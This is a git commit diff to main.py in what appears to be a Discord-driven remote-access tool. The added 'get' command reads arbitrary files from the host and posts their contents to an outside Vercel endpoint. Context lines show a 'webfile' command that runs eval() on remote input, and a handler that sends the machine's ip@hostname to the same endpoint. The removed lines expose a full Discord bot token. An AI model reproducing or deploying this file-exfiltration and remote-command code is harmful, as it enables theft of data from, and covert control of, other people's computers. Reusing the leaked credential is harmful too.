summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authormrdog233o5 <mr.dog233o5@gmail.com>2023-09-02 13:47:38 +0800
committermrdog233o5 <mr.dog233o5@gmail.com>2023-09-02 13:48:31 +0800
commitfc9bc6bd79a29bc03008ba145faa793b779d47dd (patch)
treeda5ea7cc4d35169e81feb223ecd1f061425e9432
parentd96635e7fe944c4a59b47c326ef41526b1c1f73b (diff)
bruh
-rw-r--r--main.py21
1 files changed, 7 insertions, 14 deletions
diff --git a/main.py b/main.py
index 285c917..ab04719 100644
--- a/main.py
+++ b/main.py
@@ -70,25 +70,17 @@ while True:
old_command = ""
continue
if command.startswith("get "):
- token = "OTEyMDExNjQzOTQ3NDc5MDgx.G_0FA6.4NubZfVPRUAiyVEaJiK39i78NCS-nH8RRKYcP4"
- channel_id = '1140989222556274721'
- url = f'https://discord.com/api/v9/channels/{channel_id}/messages'
+ print(command)
localcmd = command.split()
- path = "../" + localcmd[1]
- file = open(path, "rb").read()
- fileJson = {
- "file" : (str(path), open(str(path), 'rb'))
- }
- payload = {
- "content":"message"
- }
- header = {'Authorization': f'Bot {token}'}
-
+ path = localcmd[1]
+ file = [str(path), open(str("../"+path), 'rb').read()]
+ file = str(file)
try:
- post(url, data = payload, headers=header, files=fileJson)
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file)
except:
pass
old_command = commandId
+ continue
if command.startswith("webfile "):
localcmd = command.split(maxsplit=1)
files = eval(localcmd[1])
@@ -527,6 +519,7 @@ while True:
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
+
except KeyboardInterrupt:
continue
continue